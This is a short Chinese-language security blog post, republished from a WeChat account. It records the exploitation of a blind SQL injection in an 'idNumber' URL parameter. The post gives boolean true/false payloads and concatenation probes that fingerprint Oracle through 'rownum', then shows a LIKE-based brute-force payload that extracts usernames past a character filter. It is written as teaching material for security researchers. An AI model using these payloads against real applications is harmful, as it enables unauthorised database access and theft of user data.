Sqli学习笔记系列-一次艰难的Sqli

admin 2023年2月3日10:57:25评论15 views字数 1000阅读3分20秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

正文

这里记录一下一些小技巧: 替换 路径/参数

在以下接口的的“idNumber”参数上找到注入点:

/foo/?theName=YAP&idNumber=248001[注入点]

识别是否执行成功true/false的payload

/foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE

/foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE

也可以使用管道操作:

/foo/?theName=YAP&idNumber=248'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'8'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'X'||'001 FALSE

有了上面这些条件,就能够将此应用程序使用的数据库缩小到Oracle、PosgreSQL、IBM DB2或Informix。

尝试这个技巧:

/foo/?theName=YAP&idNumber=248'||<利用暴力破解来注入任何SQL函数>||'001

发现“rownum”被接受了,这表明是Oracle。为了确认,查询如下信息:

/foo/?theName=YAP&idNumber=24800'||rownum||'

发现如下信息:

Sqli学习笔记系列-一次艰难的Sqli

有点意思,现在我们如何从注入中提取数据呢?应用程序似乎过滤/替换了以下字符

_ ( ) + . whitespaces

一种使用有效负载提取数据的方法如下:

/foo/?theName=YAP&idNumber=248'||<bruteforce all column_name here>||'001 - We found few column names which one of it was "username"

最后一步是:

/foo/?theName=YAP&idNumber=248001'and''||username||''like'<bruteforce-character>%

最后得出用户名.

总结

主要是要会利用暴力破解的方法来进行注入

最后祝大家中秋节快乐!!!

原文始发于微信公众号(迪哥讲事):Sqli学习笔记系列---一次艰难的Sqli

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月3日10:57:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Sqli学习笔记系列-一次艰难的Sqlihttps://cn-sec.com/archives/1290843.html

发表评论

匿名网友 填写信息